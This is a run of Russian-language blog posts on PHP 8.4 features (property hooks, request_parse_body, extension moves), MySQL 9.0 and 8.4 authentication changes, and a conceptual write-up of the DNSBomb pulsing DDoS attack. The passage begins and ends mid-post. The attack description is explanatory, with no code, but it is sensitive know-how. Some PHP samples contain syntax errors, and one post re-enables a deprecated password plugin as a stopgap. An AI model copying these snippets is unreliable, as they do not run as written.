Расширение Pspell предоставляет из себя PHP функции проверки орфографии с помощью Pspell или Aspell. Зависимости этого расширения не получали никаких обновлений за последние несколько лет, в результате чего было принято решение расширение Pspell перенести из ядра PHP в расширение PECL в PHP 8.4.

IMAP было перенесено из PHP Core в PECL

Расширение IMAP в PHP обеспечивает функциональность для работы с почтовыми ящиками по протоколу IMAP. Базовая библиотека C, от которой зависит расширение, не получала никаких обновлений с 2018 года. Расширение IMAP также создает еще несколько проблем:

• Отсутствие потокобезопасности. Сборки PHP-ZTS не могут собрать это расширение.

• Отсутствие поддержки аутентификации XAUTH .

• Ошибки в работе POP.

В PHP 8.4 расширение IMAP больше не является частью PHP Core и перешло в PECL, но рекомендуется перейти на альтернативные библиотеки, например Webklex/php-imap.

OCI8 и PDO-OCI были перенесены из PHP Core в PECL

Расширения oci8 и pdo_oci8 предоставляют функциональные возможности для использования баз данных Oracle в PHP. Эти расширения основаны на собственных библиотеках коммерческого поставщика Oracle. Эти расширения прошли длительный период накопления неисправленных ошибок и требуют значительных усилий для миграции их resource объектов в объекты классов. Учитывая зависимость этих расширений от сторонних проприетарных библиотек и необходимость усилий по их обслуживанию, расширения больше не являются частью ядра PHP и перешли на PECL как oci8 и pdo_oci.

Другое

Так же можно посмотреть черновик, связанный с функциями, которые должны быть объявлены устаревшими в PHP 8.4 и удалены в PHP 9.0:

• DOMAttr::schemaTypeInfo и DOMElement::schemaTypeInfo

• DOMImplementation::getFeature($feature, $version)

• Constant DOM_PHP_ERR

• mysqli_ping() и mysqli::ping()

• Минимальная требуемая версия libcurl увеличена до 7.61.0

• База данных символов Unicode в расширении mbstring обновлена ​​до версии 16

• Недопустимые режимы округления функции round() вызывают исключения ValueError

Итак очередной инновационный релиз в лице MySQL 9 вышел в свет, давайте посмотрим какие параметры и переменные сервера MySQL были добавлены, устарели или удалены в MySQL 9.0. Изменений по сравнению с 8.4 не так чтобы много, скорее это очередной подготовительный релиз.

Функции, добавленные или измененные в MySQL 9.0

В MySQL 9.0 были добавлены следующие функции:

• Сохранение вывода JSON из EXPLAIN ANALYZE INTO.  Начиная с MySQL 9.0.0, теперь поддерживается сохранение вывода JSON из EXPLAIN ANALYZE в пользовательскую переменную с использованием синтаксиса:

  EXPLAIN ANALYZE FORMAT=JSON INTO @variable select_stmt

  Переменная может быть впоследствии использована как аргумент JSON для любой из функций JSON MySQL. Оператор INTO поддерживается только с FORMAT=JSON, где FORMAT должен быть указан явно. Эта форма EXPLAIN ANALYZE также поддерживает необязательное предложение FOR SCHEMA или FOR DATABASE.

  Эта функция доступна только в том случае, если системная переменная сервера explain_json_format_version равна 2; в противном случае попытка ее использования приведет к возникновению ошибки ER_EXPLAIN_ANALYZE_JSON_FORMAT_VERSION_NOT_SUPPORTED ( EXPLAIN ANALYZE не поддерживает FORMAT=JSON с explain_json_format_version=1 ).

• Начиная с MySQL 9.0.0, можно подготовить следующие операторы:

1. CREATE EVENT

2. ALTER EVENT

3. DROP EVENT

• Плейсхолдеры (?) не поддерживаются для этих операторов но есть возможность передать значение параметра в хранимую процедуру, например, такую:

delimiter |

CREATE PROCEDURE sp(n INT)
BEGIN
  SET @s1 = "CREATE EVENT e ON SCHEDULE EVERY ";
  SET @s2 = " SECOND
       STARTS CURRENT_TIMESTAMP + INTERVAL 10 SECOND
       ENDS CURRENT_TIMESTAMP + INTERVAL 2 MINUTE
       ON COMPLETION PRESERVE
       DO
       INSERT INTO d.t VALUES ROW(NULL, NOW(), FLOOR(RAND()*100))";
  
  SET @s = CONCAT(@s1, n, @s2);
  PREPARE ps FROM @s;
  EXECUTE ps;
  DEALLOCATE PREPARE ps;
END |

delimiter ;

• Таблицы системных переменных Performance Schema.  MySQL 9.0 добавляет две новые таблицы в Performance Schema, которые предоставляют информацию о системных переменных сервера:

  • Таблица variables_metadata содержит общую информацию о системных переменных. Эта информация включает имя, область действия, тип, диапазон (где применимо) и описание каждой системной переменной, распознаваемой сервером MySQL.

    Два столбца в этой таблице ( MIN_VALUE и MAX_VALUE) предназначены для замены устаревших столбцов таблицы variables_info.

  • В таблице global_variable_attributes представлена ​​информация о парах атрибут-значение, назначенных сервером глобальным системным переменным, таких как например offline_mode или read_only.

Атрибуты и их значения не могут быть установлены пользователями, и они не могут быть прочитаны пользователями, кроме как запрашивающими эту таблицу. Атрибуты и их значения могут быть установлены, изменены или удалены только сервером.

Устаревшие функции в MySQL 9.0

Для приложений, использующих устаревшие в MySQL 9.0 функции, которые были удалены в более поздней версии MySQL, операторы могут давать сбой при репликации из источника MySQL 9.0 в реплику, работающую под управлением более поздней версии, или могут иметь разные эффекты на источнике и реплике. Чтобы избежать таких проблем, приложения, использующие устаревшие в 9.0 функции, следует пересмотреть, чтобы избегать их и использовать альтернативы, когда это возможно.

• Столбцы таблицы variables_info.  Столбцы MIN_VALUE и MAX_VALUE таблицы variables_info теперь устарели и могут быть удалены в будущем. Вместо этого используйте столбцы таблицы variables_metadata которые имеют те же названия.

Удаленные функции в MySQL 9.0

Для приложений которые используют функции MySQL 8.4 и которые были удаленные в MySQL 9.0, операторы могут давать сбой при репликации из источника MySQL 8.4 в реплику MySQL 9.0 или могут иметь разные эффекты на источнике и реплике. Чтобы избежать таких проблем, приложения, которые используют функции, удаленные в MySQL 9.0, следует пересмотреть, чтобы избегать их и использовать альтернативы, когда это возможно.

• Плагин mysql_native_password.  Плагин аутентификации mysql_native_password, ранее устаревший в MySQL 8.0, был удален. Теперь сервер отклоняет запросы аутентификации mysql_native от старых клиентских программ, которые не имеют возможности CLIENT_PLUGIN_AUTH.

  В связи с этим изменением также были удалены следующие параметры и переменные сервера:

  • Серверный параметр --mysql-native-password

  • Серверный параметр --mysql-native-password-proxy-users

  • Системная переменная сервера default_authentication_plugin

  Для обратной совместимости mysql_native_password остается доступным на клиенте, так что клиентские программы MySQL 9.0 могут подключаться к более ранним версиям сервера MySQL. В MySQL 9.0 собственный плагин аутентификации MySQL, встроенный в предыдущие выпуски клиентских программ, был преобразован в тот, который должен быть загружен во время выполнения.

В прошлый раз нам грозила Уязвимость HTTP/2 DDoS атака с быстрым сбросом (Rapid Reset) - CVE-2023-44487 теперь же пришла новая угроза.

Команда ученых из Университета Цинхуа в Пекине (Китай) обнаружила новый метод запуска крупномасштабных DDoS-атак с использованием DNS-трафика типа "отказ в обслуживании".

Новая атака называется DNSBomb и представляет собой вариант статьи 2003 года, в которой описывалась техника DDoS-атаки с использованием TCP-импульсов.

Импульсные DoS-атаки

Pulse Wave или Pulsing DoS-атаки используют повторяющиеся короткие всплески трафика большого объема для воздействия на целевую систему или сервис. Импульсы или всплески могут длиться нескольких сотен миллисекунд с периодичностью в пару секунд, а продолжительность атаки может длиться часы и даже дни. Импульсы большого объема при Pulsing DoS-атаках длятся всего миллисекунды, в отличие от более распространенных пакетных атак, которые длятся обычно несколько минут. Из-за низкой средней пропускной способности трафика импульсные DoS-атаки труднее обнаружить, чем традиционные флуд атаки.

Импульсные DoS-атаки вызывают периодическую потерю пакетов и ухудшают качество TCP-соединений, используя слабые места в механизмах контроля перегрузки TCP, которые работают в таких временных рамках, как время приема-передачи (RTT) и время ожидания повторной передачи (RTO). RTT используется для оценки оптимального объема данных, которые могут передаваться в сети, и регулировки скорости отправки (окна перегрузки) в нормальных условиях. Если происходит потеря пакета, TCP будет ждать некоторое время RTO после повторной отправки пакета, пока не будет получен действительный пакет. В случае дальнейшей потери TCP динамически корректирует RTO на основе RTT и его вариаций и продолжает стратегию повторной передачи. Если общий объем DoS-трафика во время импульса RTT достаточен, чтобы вызвать потерю пакетов, поток TCP войдет в тайм-аут и через несколько секунд повторно отправит пакет RTO. Более того, если период импульса DoS приближается к RTO, поток TCP будет постоянно нести потери при попытке выйти из состояния передачи и в конечном итоге не сможет выйти, что приведет к почти нулевой пропускной способности.

DNSBomb

DNSBomb использует ту же концепцию, но повторно реализует ее с использованием программного обеспечения DNS и современной инфраструктуры DNS-серверов, такой как рекурсивные преобразователи и авторитетные nameserver'ы.

Документ DNSBomb и график ниже объясняют всю концепцию лучше, но в очень упрощенной версии, атака DNSBomb работает, отправляя медленный поток измененных DNS-запросов на DNS-серверы, которые пересылают данные, увеличивают размер пакета и накапливают в нем данные. Это для того, чтобы выпустить все сразу в виде мощного импульса DNS-трафика, направленного на цель:

Исследовательская группа утверждает, что протестировала свою технику на 10 распространенных DNS программах и 46 общедоступных DNS-сервисах и смогла запустить DNSBomb-атаки со скоростью до 8,7 Гбит/с, при этом первоначальный DNS-трафик был усилен в 20 000 раз от первоначального размера. Эти цифры поставили DNSBomb в поле зрения охотников за DDoS-ботнетами.

В итоге атака приводит к полной потере пакетов или ухудшению качества обслуживания как на соединениях без сохранения состояния, так с сохранением (TCP, UDP и QUIC).

Исследователи сообщили об атаке всем пострадавшим сторонам, а 24 организации признали результаты исследования и выпустили исправления. Затронутые организации включают в себя список поставщиков DNS.

Атака DNSBomb отслеживается под идентификатором CVE-2024-33655, а исследование будет представлено на этой неделе на симпозиуме IEEE по безопасности и конфиденциальности, проходящем в Сан-Франциско.

Связанные идентификаторы:

• Knot: CVE-2023-49206

• Simple DNS Plus: CVE-2023-49205

• Technitium: CVE-2023-28456CVE-2023-49203

• MaraDNS: CVE-2023-49204

• Dnsmasq: CVE-2023-28450CVE-2023-49207

• CoreDNS: CVE-2023-28454CVE-2023-49202

• SDNS: CVE-2023-49201

Функция «доступа к членам класса при создании экземпляра» была представлена ​​в PHP 5.4.0. С тех пор константы, свойства и методы могут быть доступны во вновь созданном экземпляре без промежуточной переменной, но только если выражение new заключено в круглые скобки:

class Request implements Psr\Http\Message\RequestInterface
 { 
    // ... 
}
 
// OK
$request = (new Request())->withMethod('GET')->withUri('/hello-world');
 
// PHP Parse error: syntax error, unexpected token "->"
$request = new Request()->withMethod('GET')->withUri('/hello-world');

Этот RFC позволяет опускать круглые скобки вокруг new выражения со скобками аргументов конструктора и написать просто new Class()->method():

new Request()->withMethod('GET')->withUri('/hello-world');

Возьмем для примера класс:

class MyClass
{
    const CONSTANT = 'constant';
    public static $staticProperty = 'staticProperty';
    public static function staticMethod(): string { return 'staticMethod'; }
    public $property = 'property';
    public function method(): string { return 'method'; }
    public function __invoke(): string { return '__invoke'; }
}

Так можно теперь написать:

var_dump(
    new MyClass()::CONSTANT,        // string(8)  "constant"
    new MyClass()::$staticProperty, // string(14) "staticProperty"
    new MyClass()::staticMethod(),  // string(12) "staticMethod"
    new MyClass()->property,        // string(8)  "property"
    new MyClass()->method(),        // string(6)  "method"
    new MyClass()(),                // string(8)  "__invoke"
);

Или:

$myClass = MyClass::class;

var_dump(
    new $myClass()::CONSTANT,        // string(8)  "constant"
    new $myClass()::$staticProperty, // string(14) "staticProperty"
    new $myClass()::staticMethod(),  // string(12) "staticMethod"
    new $myClass()->property,        // string(8)  "property"
    new $myClass()->method(),        // string(6)  "method"
    new $myClass()(),                // string(8)  "__invoke"
);
 
var_dump(
    new (trim(' MyClass '))()::CONSTANT,        // string(8)  "constant"
    new (trim(' MyClass '))()::$staticProperty, // string(14) "staticProperty"
    new (trim(' MyClass '))()::staticMethod(),  // string(12) "staticMethod"
    new (trim(' MyClass '))()->property,        // string(8)  "property"
    new (trim(' MyClass '))()->method(),        // string(6)  "method"
    new (trim(' MyClass '))()(),                // string(8)  "__invoke"
);

Стоит также учитывать, что данный RFC не меняет поведение new выражений без круглых скобок аргументов конструктора:

new MyClass::CONSTANT; // продолжит выдавать синтаксическую ошибку
new $myClass::CONSTANT; // продолжит выдавать синтаксическую ошибку
new MyClass::$staticProperty; // продолжит работать как `new (MyClass::$staticProperty)`
new $myClass::$staticProperty; // продолжит работать как `new ($myClass::$staticProperty)`
new $myObject->property; // продолжит работать как `new ($myObject->property)`

Так же этот RFC позволяет опускать круглые скобки вокруг new выражения анонимного класса независимо от того, присутствуют ли круглые скобки в аргументах конструктора:

var_dump(
    // string(8) "constant"
    new class { const CONSTANT = 'constant'; }::CONSTANT,
    // string(14) "staticProperty"
    new class { public static $staticProperty = 'staticProperty'; }::$staticProperty,
    // string(12) "staticMethod"
    new class { public static function staticMethod() { return 'staticMethod'; } }::staticMethod(),
    // string(8) "property"
    new class { public $property = 'property'; }->property,
    // string(6) "method"
    new class { public function method() { return 'method'; } }->method(),
    // string(8) "__invoke"
    new class { public function __invoke() { return '__invoke'; } }(),
);

В заключении можно сказать, что некоторые языки, такие как Kotlin, позволяют создавать экземпляры классов с помощью выражения MyClass(). Опустить ключевое слово new в PHP на данный момент невозможно, поскольку классы и функции могут иметь одно и то же имя (в Kotlin это невозможно). Итак, чтобы добиться этого в PHP, надо сначала отказаться от объявления функций и классов с одинаковыми именами.

Спасибо Валентину Удальцову за вклад по улучшению синтаксиса PHP.

В предыдущем посте с ошибкой unknown variable default-authentication-plugin=mysql_native_password мы смягчили последствия обновления до последней версии MySQL 8.4.

Но разработчики MySQL не просто так же удалили устаревший плагин mysql_native_password, значит нужно не просто сделать фикс системы, но сделать все правильно с точки зрения безопасности.

Например здесь можно узнать что теперь по-умолчанию в MySQL плагин аутентификации является caching_sha2_password. MySQL предоставляет два плагина аутентификации, которые реализуют хеширование SHA-256 для паролей учетных записей пользователей:

• sha256_password(устарело): реализует базовую аутентификацию SHA-256. Устарел и может быть удален. Не используйте этот плагин аутентификации.

• caching_sha2_password: реализует аутентификацию SHA-256 (как и sha256_password), но использует кэширование на стороне сервера для повышения производительности и имеет дополнительные функции для более широкого применения.

Решение

Обновить старые пароли с помощью caching_sha2_password

Перед всеми операциями советую сделать резервную копию базы данных

Итак, первым делом надо вывести список пользователей, использующих плагин mysql_native_password, делаем запрос в MySQL (не важно какой клиент для подключения к MySQL вы используете, например оболочку):

mysql> SELECT user, host, plugin from mysql.user WHERE plugin="mysql_native_password";

Результат будет примерно такой:

+------------------+-----------+-----------------------+
| user             | host      | plugin                |
+------------------+-----------+-----------------------+
| mysql.infoschema | localhost | caching_sha2_password |
| mysql.session    | localhost | mysql_native_password |
| mysql.sys        | localhost | mysql_native_password |
| root             | localhost | caching_sha2_password |
| mukhin           | localhost | mysql_native_password |
+------------------+-----------+-----------------------+
5 rows in set (0.00 sec)

Поскольку caching_sha2_password это новый плагин аутентификации по умолчанию в MySQL 8.x, нам не нужно переопределять метод шифрования пароля дополнительной директивой или флагом. Единственное требование - заново создать/обновить пользователей базы данных с паролем.

Для этого надо будет сделать запрос по шаблону, для каждого пользователя, использующего старый mysql_native_password:

ALTER USER "%user%"@"%host%" IDENTIFIED WITH caching_sha2_password BY "%password%";

Например, чтобы обновить пользователя mukhin на хосту localhost, я обновляю пароль:

ALTER USER "mukhin"@"localhost" IDENTIFIED WITH caching_sha2_password BY "its_not_my_really_password";

После обновления можно проверить, что ваше приложение нормально подключается к MySQL, и после повторного запроса на получение списка пользователей, использующих плагин mysql_native_password уже не выводится.

Почистить директивы или флаги

После обновления паролей можно почистить за собой конфигурационные файлы или флаги в докере, т.е. например в том же файле:

sudo nano /etc/mysql/mysql.conf.d/default-auth-override.cnf

можно закомментировать или удалить строку, которые мы вставляли в прошлый раз, т.е. привести к виду

# This file is automatically generated by MySQL Maintainer Scripts
[mysqld]
#mysql-native-password=ON

а в докере поубирать упоминание с установкой дефолтного плагина аутентификации:

"--default-authentication-plugin=mysql_native_password"

Делаем рестарт сервиса MySQL:

sudo service mysql restart

и не должны получить ошибок :)

Если вдруг вы удалите или закомментируете директиву #mysql-native-password=ON, а пароль забудете обновить с помощью caching_sha2_password и приложение перестанет работать, вы всегда можете вернуть или расскомментировать конфиг назад и попытаться сделать это снова.

Как вы знаете (а может еще не в курсе), но не давно был релиз Mysql 8.4 и среди списка обновлений есть такой пункт как:

• default_authentication_plugin: Deprecated in MySQL 8.0.27, and now removed. Use authentication_policy instead

Что логично ведет к отключению устаревшего плагина аутентификации mysql_native_password по умолчанию и полному отказу сервиса MySQL в принципе после обновления, если он у вас используется, а это может произойти как после запуска update и upgrade системы, так и запуск контейнера докера с mysql:latest.

В логах mysql /var/log/mysql/error.log можно увидеть ошибку, валящую СУБД:

2024-05-08T07:15:11.474311Z 0 [ERROR] [MY-000067] [Server] unknown variable 'default-authentication-plugin=mysql_native_password'.
2024-05-08T07:15:11.475302Z 0 [ERROR] [MY-010119] [Server] Aborting 

Либо при попытке подключиться к MySQL:

mysql -u root -p

выдается:

ERROR 1524 (HY000): Plugin 'mysql_native_password' is not loaded

Решение

Решить данную проблему можно, запустив MySQL с новой опцией сервера --mysql-native-password=ON или добавив директиву mysql-native-password=ON в раздел [mysqld] вашего конфигурационного файла MySQL:

#может быть здесь
sudo nano /etc/mysql/mysql.conf.d/default-auth-override.cnf

#или здесь
sudo nano /etc/mysql/mysql.conf.d/mysqld.cnf

открыв файл вы увидите что-то типа:

# This file is automatically generated by MySQL Maintainer Scripts
[mysqld]
default-authentication-plugin = mysql_native_password

приводим его к виду:

# This file is automatically generated by MySQL Maintainer Scripts
[mysqld]
mysql-native-password=ON

и перегружаем или стартуем mysql:

sudo service mysql start

#или

sudo service mysql restart

в докере меняем соотвественно команду c :

command: ["mysqld", "--default-authentication-plugin=mysql_native_password"]

на

command: ["mysqld", "--mysql-native-password=ON"]

ну или в любом другом месте где используется default-authentication-plugin=mysql_native_password на mysql-native-password=ON.

Должно все заработать, а вот что делать потом, дело каждого) главное все работает в данный момент и можно спокойно заниматься делами.

Итак, получение свойства класса или установка его значения является обычной задачей в объектно-ориентированном программировании. В PHP есть несколько способов сделать это. Давайте сначала обсудим их.

Возьмем, к примеру, следующий класс.

class User
{
    private string $name;
}

Как вы можете заметить, у нас в классе есть приватное свойство $name. Теперь мы можем определить геттеры и сеттеры для чтения и записи значения свойства соответственно, что до PHP 7.4 можно было считать идиоматическим:

class User
{
    private string $name;

    public function getName(): string
    {
        return $this->name;
    }

    public function setName(string $name): void
    {
        $this->name = $name;
    }
}

$user = new User();
$user->setName('Sergey');

echo $user->getName(); // Sergey

Это обычный традиционный подход, и люди используют его уже давно.

Начиная с PHP 8 мы можем сократить код еще больше, используя объявление свойства в конструкторе:

class User
{
    public function __construct(public string $name) {}
}

$user = new User('Sergey');

echo $user->name; // Sergey

Это довольно аккуратный подход, и он немного более краток при использовании методов получения и установки. Это намного приятнее, но за это приходится платить: если позже мы захотим добавить дополнительное поведение (например, проверку или предварительную обработку), то сделать это будет негде.

Мы также можем использовать магические методы __get и __set для достижения того же результата. Но это очень многословно, подвержено ошибкам и не подходит для инструментов статического анализа, таких как, например PHPStan.

В PHP 8.4 этот ключевой аспект будет улучшен за счет введения хуков свойств.

Propertry Hooks

Согласно этому RFC, хуки свойств - это новая функция PHP 8.4, которая позволит вам определять собственную логику для доступа к свойствам и их изменения. Это может быть полезно для различных случаев использования, таких как мутация, ведение логов, проверка или кэширование.

По сути, Propertry Hooks позволяют вам определять дополнительное поведение свойств класса, используя в основном два хука: get и set. И это будет индивидуально для определенных свойств.

Приведенный ниже дизайн и синтаксис больше всего похож на Kotlin, хотя он также опирается на влияние C# и Swift. Python и JavaScript имеют схожие функции благодаря разному синтаксису, хотя этот синтаксис и непригоден для PHP. Ruby рассматривает свойства и методы почти одинаково, поэтому эта функциональность достигается как побочный эффект. Короче говоря, "средства доступа к свойствам" - очень распространенная функция в основных популярных языках программирования.

Что интересно, авторы просят не пугаться длинному тексту RFC, а предлагают отнестись к этому как глубоко проработанному материалу, отвечающему на все вопросы) Мы конечно пробежимся по самому главному, но если вы хотите узнать детали разработки, то можете почитать оригинальный RFC.

Хук set​

Вот как мы можем написать set для $name свойства в предыдущем примере:

class User
{
    public string $name {
        set (string $value) {
            // валидация имени
            if (mb_strlen(value) < 4)) {
                throw new InvalidArgumentException(
                    'Invalid Name'
                );
            }
            
            // Установка значения
            $this->name = $value;
        }
    }
}

Как вы можете заметить, хуки заключаются в фигурные скобки, которые идут сразу после имени свойства. Затем мы можем определить хуки внутри этого блока кода.

Тело хука set - это тело метода произвольной сложности, принимающее один аргумент. Если указано, оно должно включать как тип, так и имя параметра. Здесь мы можем проверить или изменить значение свойства до его установки.

Таким образом, когда свойству присвоено значение $name, будет вызван хук set, и значение будет проверено перед его установкой.

$user = new User();
$user->name = 'Ser'; // Должно вывести исключение InvalidArgumentException

$user = new User();
$user->name = 'Sergey';

echo $user->name; // Sergey

Существует также сокращенный синтаксис для определения хука set с помощью оператора =>, похожий на замыкания:

class User
{
    public string $name {
        set => strtoupper($value);
    }
}

Здесь предполагается, что $value это значение свойства, и для него будет вызвана функция strtoupper.

Хук get​

Хук get позволяет вам определить собственную логику для доступа к свойствам. Это может быть полезно для свойств, которые необходимо изменить, прежде чем они будут возвращены пользователю.

Например, если в классе User есть два свойства $name и $lastName, мы можем определить get для свойства $fullName следующим образом:

class User
{
    public function __construct(
        public string $name, public string $lastName
    ) {}

    public string $fullName {
        get {
            return $this->name . " " . $this->lastName;
        }
    }
}

$user = new User('Sergey', 'Mukhin');

echo $user->fullName; // Sergey Mukhin    

Как вы можете заметить, хук get не принимает никаких аргументов. Он просто возвращает значение свойства. Как и обычный геттер.

Таким образом, при доступе к значению $fullName будет вызван хук get, и значение будет возвращено на основе логики, определенной в хуке.

Так же существует сокращенный синтаксис для хука get с помощью оператора =>

class User
{
    public function __construct(
        public string $name, 
        public string $lastName
    ) {}

    public string $fullName {
        get => string $this->name . " " . $this->lastName;
    }
}

Это эквивалентно предыдущему примеру.

Использование хуков с интерфейсами

Чтобы устранить необходимость в геттерах и сеттерах, интерфейс должен иметь возможность указать, какие свойства он включает и таким образом в довесок этот RFC также добавляет возможность для интерфейсов асимметрично объявлять публичные свойства. Класс реализации может предоставить свойство через обычное свойство или хуки. Любого способа из них достаточно для удовлетворения интерфейса.

Рассмотрим сначала за пример код указанный в RFC:

interface I
{
    // Класс, реализующий интерфейс ДОЛЖЕН иметь публичное свойство,
    // но независимо от того, является ли оно публичным или нет - ограничений нет.
    public string $readable { get; }
 
    // Класс реализации ДОЛЖЕН иметь публичное свойство для записи,
    // но независимо от того, доступно ли оно публичному чтению или нет - ограничений нет.
    public string $writeable { set; }
 
    // Класс реализации ДОЛЖЕН иметь свойство, которое является публичным и
    // доступно для чтения и записи.
    public string $both { get; set; }
}

Теперь возьмем что-нибудь из жизни и покороче:

interface User
{
    // Объекты, реализующие этот интерфейс, ДОЛЖНЫ иметь возможность
    // получить свойство $fullName. Этого можно добиться обычным
    // свойством или свойство с хуком get.
    public string $fullName { get; }
}
 
class Customer implements User
{
    // Хук get необязателен, если он не указан,
    // свойство будет доступно для чтения даже без хука get.
    public function __construct(public string $fullName) {}
}

как видите, свойство $fullName прекрасно читается и без хука get. Но если мы определим хук get для свойства, оно будет доступно для чтения именно с помощью хука get.

Интерфейсы связаны только с публичным доступом, поэтому наличие закрытых свойств не зависит от интерфейса и не может удовлетворить интерфейс. Это та же самая связь, что и для методов. Ключевое слово public свойства необходимо для обеспечения согласованности синтаксиса (или его редко используемый псевдоним var).

Следует отметить, что свойство интерфейса, которое требует только get может удовлетворяться общедоступным readonly свойством, поскольку ограничения readonly применяются только при записи. Однако свойство интерфейса, которое требует set несовместимо с readonly свойством, поскольку публичная запись будет запрещена.

Магическая константа свойства

В хуке свойства специальная константа __PROPERTY__ определяется автоматически. Его значением будет установлено имя свойства. Это в основном полезно для повторения самоссылающегося кода, пример:

class User
{
    private array $cache = [];

    // ...

    public string $fullName { get => $this->cache[__PROPERTY__] ??= $this->name . " " . $this->lastName; }
}

Взаимодействие с Trait'ами

Свойства в трейтах могут объявлять хуки, как и любое другое свойство. Однако, как и в случае с обычными свойствами, здесь нет механизма разрешения конфликтов, который имеется в методах. Если трейт и класс, в котором он используется, объявляют одно и то же свойство с помощью хуков, выдается ошибка. Ожидается, что это очень редкий крайний случай, и поэтому никаких дополнительных механизмов разрешения не требуется.

Работа с рефлексией

Появилось новое глобальное перечисление PropertyHookType. Он имеет поддержку строки, что позволяет при необходимости легко "преобразовать" примитивные значения:

enum PropertyHookType: string
{
    case Get = 'get';
    case Set = 'set';
}

На что следует обратить внимание

Есть вещи, которые следует учитывать при использовании хуков свойств.

• Хуки доступны только в свойствах объекта. Таким образом, статические свойства не могут иметь хуков.

• Хуки свойств переопределяют любое поведение свойства при чтении или записи.

• Хуки свойств имеют доступ ко всем публичным, приватным или защищенным методам объекта, а также к любым публичным, приватным или защищенным свойствам, включая свойства, которые могут иметь свои собственные хуки свойств.

• Установка ссылок на хуки свойств не допускается, поскольку любая попытка изменения значения по ссылке приведет к обходу хука set, если он определен.

• Дочерний класс может определять или переопределять индивидуальные хуки свойства путем переопределения свойства и только тех хуков, которые он хочет переопределить. Тип и видимость свойства объекта независимо регулируются собственными правилами. Таким образом, каждый хук переопределяет родительские реализации независимо друг от друга.

В заключение

Хуки свойств - это мощная функция, позволяющая настраивать поведение свойств более понятным, кратким и гибким способом, чем другие подходы. Они особенно полезны, когда вы хотите добавить пользовательскую логику к свойствам, которые читаются или записываются объектом.

В RFC упоминается, что, хотя в настоящее время существует два хука свойств, в будущем есть возможность добавить больше, что сделает хуки свойств еще более мощными.

Можно только поблагодарить Илью Товило и Ларри Гарфилда, в очередной раз создавших столь прекрасный функционал!

Как вы знаете PHP автоматически анализирует HTTP-запросы POST для заполнения глобальных переменных $_POST и $_FILES. Однако другие HTTP-запросы с такими методами, как PUT или PATCH уже не анализируются автоматически, и работа с обработкой данных с данными типами запроса ложится на плечи разработчика/приложения.

RFC1867 определяет тип контента multipart/form-data. Этот тип контента используется в основном для отправки HTTP-форм, содержащих файлы. PHP изначально поддерживает анализ этого типа контента, но только для запросов POST. В частности, если запрос имеет метод POST и тип содержимого multipart/form-data, тело запроса немедленно используется перед запуском PHP-скрипта и заполняется в суперглобальные переменные $_POST и $_FILES. Эта функция запускается автоматически и не предоставляется непосредственно пользователю.

Учитывая популярность REST API, которые все чаще используют HTTP методы, отличные от POST - такие как PUT, DELETE и PATCH, где использование multipart/form-data полностью допустимо, но не обрабатывается PHP автоматически. Это требует ручного анализа тела запроса нетривиального формата. Обработка больших объемов данных в пользовательской среде также может быть не оптимальной с точки зрения производительности.

Например в Symfony эта часть отвечает за анализ таких данных, в том же Phalcon мне пришлось в свое время тоже добавить эту возможность и так в любом мало-мальски используемом фреймворке.

UPD: Вот отличный пример реализации от Кирилла Несмеянова, который при свободном времени можно оформить в пакет)

Если вкратце, PHP предоставляет обёртку потока php://input, содержащую данные запроса. Для POST запросов с enctype="multipart/form-data" эта обёртка потока остается пустой, поскольку она автоматически анализируется и используется для заполнения переменных $_POST и $_FILES. Автоматической обработкой $_POST и $_FILES можно управлять с помощью директивы enable_post_data_reading=Off в INI.

Если значение enable_post_data_reading установлено как Off, или если метод HTTP-запроса имеет значение, отличное от POST, php://input обёртку потока можно прочитать в PHP-коде приложения для анализа данных HTTP-запроса:

curl --request PUT --location 'https://somehost.com/somepath' --form 'foo="bar"'

В PHP-приложении данные формы приведенного выше вызова Curl можно прочитать из потока php://input:

echo file_get_contents('php://input');

----------------------------690112416382325217175117
Content-Disposition: form-data; name="foo"
bar
----------------------------690112416382325217175117--

Итак, в PHP 8.4 была добавлена ​​новая функция request_parse_body, которая предоставляет встроенную в PHP функциональность анализа запросов для других методов HTTP-запросов, отличных от POST:

/**  
 * Parse and consume php://input and return the values for $_POST
 * and $_FILES variables.
 * 
 * @param array<string, int|string>|null $options Overrides for INI values
 * @return array<int, array> Array with key 0 being the post data  
 *   (similar to $_POST), and key 1 being the files ($_FILES).  
 */
function request_parse_body(?array $options = null): array {}

// Например, это запрос PUT 
var_dump($_POST);   // [] 
var_dump($_FILES);  // []
 
[$_POST, $_FILES]  = request_parse_body();
 
var_dump($_POST);   // уже есть данные [...] 
var_dump($_FILES);  // уже есть данные [...]

При вызове функция request_parse_body считывает все содержимое, которое доступно в потоке php://input и создает значения, которые можно использовать в переменных $_POST и $_FILES.

Возвращаемым значением будет массив, c двумя ключами, 0 и 1, содержащий проанализированные значения, которые можно использовать как $_POST(индекс ключа массива 0) и $_FILES(индекс 1). Оба ключа массива будут присутствовать всегда - даже если нет данных запроса и/или файлов.

Можно заполнить значения $_POST и $_FILES непосредственно из возвращаемых значений:

[$_POST, $_FILES] = request_parse_body();

Обратите внимание, что синтаксический анализ запроса по-прежнему имеет ограничения, установленные директивами INI. Например, если директива post_max_size (которая ограничивает максимальный размер запросов) установлена ​​в 2 мегабайта, попытка вызвать функцию request_parse_body с запросом большего размера по-прежнему будет приводить к ошибке.

Параметры анализа запроса можно переопределить на меньшие или большие значения, передав параметр $options.

Если запрос, который пытаются проанализировать, нарушает ограничения, установленные в директивах INI или пользовательских параметрах, функция request_parse_body генерирует новое исключение RequestParseBodyException.

Переопределение параметров анализа запроса

Параметр $options можно использовать для передачи массива значений INI, связанных с анализом запроса. Эти значения не обязательно должны быть меньше, чем глобальная конфигурация. Это дает преимущество выборочной обработки меньших или больших значений, чем ограничения, установленные в файлах INI.

Например, чтобы проанализировать запрос с большим или меньшим пределом директивы post_max_size INI, можно вызвать функцию request_parse_body с нужным значением:

request_parse_body(['post_max_size' => 1024]);

Массив $options принимает только следующие переопределения:

Предоставление неверных ключей или значений приведет к возникновению ошибки ValueError.

Класс исключения RequestParseBodyException

RequestParseBodyException - это новый класс Exception, объявленный в глобальном пространстве имен, расширяющий класс Exception.

class RequestParseBodyException extends Exception {}

RequestParseBodyException исключения выдаются, если функция request_parse_body не может проанализировать данные запроса. Это может произойти, если предоставленные данные запроса недействительны, не отправляют заголовок Content-Type или если данные запроса выходят за пределы ограничения, установленного директивами INI и необязательным параметром $options.

Ниже приведен список исключений RequestParseBodyException и их причин:

• RequestParseBodyException: Request does not provide a content type

  Запрос не содержит заголовка Content-Type.

• RequestParseBodyException: Content-Type ARBITRARY_TYPE is not supported

